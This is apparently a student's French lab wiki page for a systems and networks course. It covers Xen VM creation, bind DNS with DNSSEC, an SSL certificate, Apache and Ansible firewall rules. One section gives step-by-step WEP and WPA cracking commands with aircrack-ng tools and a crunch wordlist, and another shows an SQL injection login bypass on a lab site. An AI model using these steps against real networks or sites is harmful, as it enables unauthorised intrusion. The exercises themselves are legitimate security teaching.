i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw<br />
XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO<br />
MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy<br />
MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y<br />
b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW<br />
oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB<br />
OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf<br />
erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f<br />
D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs<br />
0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh<br />
Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf<br />
fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B<br />
Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB<br />
BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo<br />
dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag<br />
NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB<br />
Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz<br />
ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG<br />
GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku<br />
Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB<br />
ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD<br />
AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ<br />
JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb<br />
A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1<br />
5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB<br />
DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD<br />
AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV<br />
UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H<br />
XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5<br />
B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9<br />
TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X<br />
cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama<br />
7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY<br />
e0D4Wcue+OV6y/j2<br />
-----END CERTIFICATE-----<br />
subject=CN = corona59.club <br />
<br />
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
<br />
---<br />
No client certificate CA names sent<br />
Peer signing digest: SHA256<br />
Peer signature type: RSA-PSS<br />
Server Temp Key: X25519, 253 bits<br />
---<br />
SSL handshake has read 3674 bytes and written 363 bytes<br />
Verification: OK<br />
---<br />
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
No ALPN negotiated<br />
Early data was not sent<br />
Verify return code: 0 (ok)<br />
---<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF<br />
Session-ID-ctx: <br />
Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2 ....N...j.F^....<br />
0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50 ..LB..J..8.}.[3P<br />
0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6 k..i.W}....u....<br />
0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62 .s..E...b.G....b<br />
0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0 &_.....TUV,..B..<br />
0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75 .\../.i(...Fi..u<br />
0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28 ..;(.......R../(<br />
0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7 .,.....D...[.lk.<br />
0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec .0.....N...=..L.<br />
00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa J......G.^..._..<br />
00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12 ...I.....s".....<br />
00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0 .?.$..R.1.iD....<br />
00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85 .3M..?...(..m/.. <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67<br />
Session-ID-ctx: <br />
Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5 ......k-.F.P"(..<br />
0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0 $\'@.X...A..!...<br />
0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e .........T..p..N<br />
0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90 H......`m.....0.<br />
0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29 hZ.......$.!'6.)<br />
0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf 7:.S.*&.....n.k.<br />
0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55 ..D...._g....:.U<br />
0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09 ........>a.m....<br />
0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9 M.'..R.._.....g.<br />
00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8 ......c6........<br />
00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2 nU...St.t.s.....<br />
00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14 1Y...".O#...d.\.<br />
00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e ....K..C\'...... <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
closed<br />
<br />
La commande :<br />
apachectl configtest<br />
nous confirme que la config est OK<br />
<br />
<br />
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html<br />
<br />
=Securisation du DNS avec DNSSEC =<br />
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec <br />
dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club<br />
dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club<br />
<br />
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private} <br />
on ajoute dans /etc/bind/db.corona59.club :<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-ksk.key"<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-zsk.key"<br />
<br />
On signe avec la commande :<br />
dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk<br />
<br />
on obtient :<br />
Verifying the zone using the following algorithms:<br />
- NSEC3RSASHA1<br />
Zone fully signed:<br />
Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked<br />
ZSKs: 1 active, 0 stand-by, 0 revoked<br />
../db.corona59.club.signed<br />
<br />
ainsi qu'un fichier que l'on renomme en corona59.club.signed<br />
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :<br />
zone "corona59.club" {<br />
type master;<br />
file "/etc/bind/corona59.club.dnssec/corona59.club.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.<br />
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.<br />
<br />
=Injection SQL=<br />
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend<br />
Pour ce faire, on met dans la cellule 'identifiant' la valeur <br />
' OR 1 = 1;<br />
Coté backend, la requete SQL effectuée ressemble probablement à<br />
select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';<br />
<br />
En conséquence, notre injection génère la requete :<br />
select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';<br />
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table<br />
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.<br />
<br />
=TP ASR=<br />
==Setup SSH==<br />
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'<br />
on définit une clé SSH et créé un environnement python virtuel : <br />
$ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "your.name@polytech-lille.net" -P ''<br />
<br />
$ python3 -m venv ~/env-ansible<br />
$ . ~/env-ansible/bin/activate<br />
$ pip3 install -U setuptools wheel<br />
$ pip3 install -U ansible<br />
<br />
puis <br />
$ ansible-playbook -v -i inventory polytech.yaml<br />
<br />
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :<br />
$ cd /etc/xen<br />
$ xen create pra-11.cfg<br />
$ xen console pra-11<br />
<br />
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:<br />
auto eth0<br />
iface eth0 inet static <br />
address 172.26.145.111<br />
netmask 255.255.255.0<br />
network 172.26.145.0<br />
gateway 172.26.145.254<br />
<br />
On <br />
<br />
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.<br />
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.<br />
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.<br />
---<br />
- hosts: all<br />
roles:<br />
# installs the `ssh_keys` role onto the targetted host<br />
- role: ssh_key<br />
tags: ssh_key<br />
<br />
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)<br />
PRA-11 ansible_ssh_host="172.26.145.111"<br />
<br />
<br />
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière<br />
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :<br />
#<br />
# /etc/apt/sources.list<br />
#<br />
#<br />
# bullseye<br />
#<br />
deb http://deb.debian.org/debian bullseye main contrib non-free<br />
deb-src http://deb.debian.org/debian bullseye main contrib non-free<br />
# <br />
# Security updates<br />
# <br />
deb http://security.debian.org/debian-security bullseye-security main contrib non-free<br />
<br />
On installe enfin python3 sur la VM, nécessaire pour le déploiment.<br />
<br />
==Setup Docker==<br />
On installe docker grâce à la commande <br />
$ ansible-galaxy install geerlingguy.docker<br />
<br />
on ajoute alors a polytech.yaml : <br />
- role: geerlingguy.docker<br />
tags: docker<br />
<br />
==Ip table==<br />
On souhaite fermer les ports réservés à Consul. Pour cela, on utilise iptable.<br />
On créé un role dédié, nommé firewall.<br />
main.yml de firexall : <br />
---<br />
- name: "Block TCP"<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
source_port: "{{ item }}"<br />
protocol: tcp<br />
match: tcp<br />
jump: DROP<br />
become: yes<br />
with_items:<br />
- "8600"<br />
- "8500"<br />
- "8501"<br />
- "8502"<br />
- "8300"<br />
- "8301"<br />
- "8302"<br />
- name: "Block UDP"<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
source_port: "{{ item }}"<br />
protocol: tcp<br />
match: tcp<br />
jump: DROP<br />
become: yes<br />
with_items:<br />
- "8600"<br />
- "8301"<br />
- "8302"</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=57996TP sysres IMA5 2021/2022 G112022-01-12T12:26:29Z<p>Cgodet1 : /* TP ASR */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
On active notre site avec la commande :<br />
a2ensite 000-corona59.club-ssl <br />
<br />
On édite le fichier /etc/apache2/apache2.conf en rajoutant <br />
ServerName corona59.club<br />
<br />
On relance apache :<br />
systemctl reload apache2<br />
<br />
On teste le fonctionnement avec :<br />
openssl s_client -connect 193.48.57.186:443<br />
<br />
CONNECTED(00000003)<br />
Can't use SSL_get_servername<br />
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
verify return:1<br />
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
verify return:1<br />
depth=0 CN = corona59.club<br />
verify return:1<br />
---<br />
Certificate chain<br />
0 s:CN = corona59.club<br />
i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw<br />
XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO<br />
MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy<br />
MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y<br />
b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW<br />
oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB<br />
OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf<br />
erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f<br />
D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs<br />
0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh<br />
Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf<br />
fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B<br />
Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB<br />
BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo<br />
dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag<br />
NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB<br />
Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz<br />
ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG<br />
GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku<br />
Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB<br />
ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD<br />
